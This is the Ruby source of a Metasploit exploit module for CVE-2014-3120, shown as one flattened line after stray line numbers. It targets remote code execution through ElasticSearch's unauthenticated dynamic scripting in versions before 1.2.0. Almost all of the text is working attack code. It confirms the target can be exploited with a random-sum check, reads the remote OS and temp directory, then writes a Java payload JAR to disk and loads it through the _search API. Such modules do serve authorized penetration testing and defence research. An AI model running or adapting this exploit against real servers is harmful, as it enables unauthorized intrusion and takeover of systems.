1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 |
## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'ElasticSearch Dynamic Script Arbitrary Java Execution', 'Description'=> %q{ This module exploits a remote command execution vulnerability in ElasticSearch, exploitable by default on ElasticSearch prior to 1.2.0. The bug is found in the REST API, which requires no authentication or authorization, where the search function allows dynamic scripts execution, and can be used for remote attackers to execute arbitrary Java code. This module has been tested successfully on ElasticSearch 1.1.1 on Ubuntu Server 12.04 and Windows XP SP3. }, 'Author' => [ 'Alex Brasetvik', # Vulnerability discovery 'Bouke van der Bijl', # Vulnerability discovery and PoC 'juan vazquez'# Metasploit module ], 'License'=> MSF_LICENSE, 'References' => [ ['CVE', '2014-3120'], ['OSVDB', '106949'], ['EDB', '33370'], ['URL', 'http://bouk.co/blog/elasticsearch-rce/'], ['URL', 'https://www.found.no/foundation/elasticsearch-security/#staying-safe-while-developing-with-elasticsearch'] ], 'Platform' => 'java', 'Arch' => ARCH_JAVA, 'Targets'=> [ [ 'ElasticSearch 1.1.1 / Automatic', { } ] ], 'DisclosureDate' => 'Dec 09 2013', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(9200), OptString.new('TARGETURI', [ true, 'The path to the ElasticSearch REST API', "/"]), OptString.new("WritableDir", [ true, "A directory where we can write files (only for *nix environments)", "/tmp" ]) ], self.class) end def check result = Exploit::CheckCode::Safe if vulnerable? result = Exploit::CheckCode::Vulnerable end result end def exploit print_status("#{peer} - Trying to execute arbitrary Java..") unless vulnerable? fail_with(Failure::Unknown, "#{peer} - Java has not been executed, aborting...") end print_status("#{peer} - Asking remote OS...") res = execute(java_os) result = parse_result(res) if result.nil? fail_with(Failure::Unknown, "#{peer} - Could not get remote OS...") else print_good("#{peer} - OS #{result} found") end jar_file = "" if result =~ /win/i print_status("#{peer} - Asking TEMP path") res = execute(java_tmp_dir) result = parse_result(res) if result.nil? fail_with(Failure::Unknown, "#{peer} - Could not get TEMP path...") else print_good("#{peer} - TEMP path found on #{result}") end jar_file = "#{result}#{rand_text_alpha(3 + rand(4))}.jar" else jar_file = File.join(datastore['WritableDir'], "#{rand_text_alpha(3 + rand(4))}.jar") end register_file_for_cleanup(jar_file) execute(java_payload(jar_file)) end def vulnerable? addend_one = rand_text_numeric(rand(3) + 1).to_i addend_two = rand_text_numeric(rand(3) + 1).to_i sum = addend_one + addend_two java = java_sum([addend_one, addend_two]) res = execute(java) result = parse_result(res) if result.nil? return false else result.to_i == sum end end def parse_result(res) unless res && res.code == 200 && res.body return nil end begin json = JSON.parse(res.body.to_s) rescue JSON::ParserError return nil end begin result = json['hits']['hits'][0]['fields']['msf_result'][0] rescue return nil end result end def java_sum(summands) source = <<-EOF #{summands.join(" + ")} EOF source end def to_java_byte_array(str) buff = "byte[] buf = new byte[#{str.length}];\n" i = 0 str.unpack('C*').each do |c| buff << "buf[#{i}] = #{c};\n" i = i + 1 end buff end def java_os "System.getProperty(\"os.name\")" end def java_tmp_dir "System.getProperty(\"java.io.tmpdir\");" end def java_payload(file_name) source = <<-EOF import java.io.*; import java.lang.*; import java.net.*; #{to_java_byte_array(payload.encoded_jar.pack)} File f = new File('#{file_name.gsub(/\\/, "/")}'); FileOutputStream fs = new FileOutputStream(f); bs = new BufferedOutputStream(fs); bs.write(buf); bs.close(); bs = null; URL u = f.toURI().toURL(); URLClassLoader cl = new URLClassLoader(new java.net.URL[]{u}); Class c = cl.loadClass('metasploit.Payload'); c.main(null); EOF source end def execute(java) payload = { "size" => 1, "query" => { "filtered" => { "query" => { "match_all" => {} } } }, "script_fields" => { "msf_result" => { "script" => java } } } res = send_request_cgi({ 'uri'=> normalize_uri(target_uri.path.to_s, "_search"), 'method' => 'POST', 'data' => JSON.generate(payload) }) return res end end |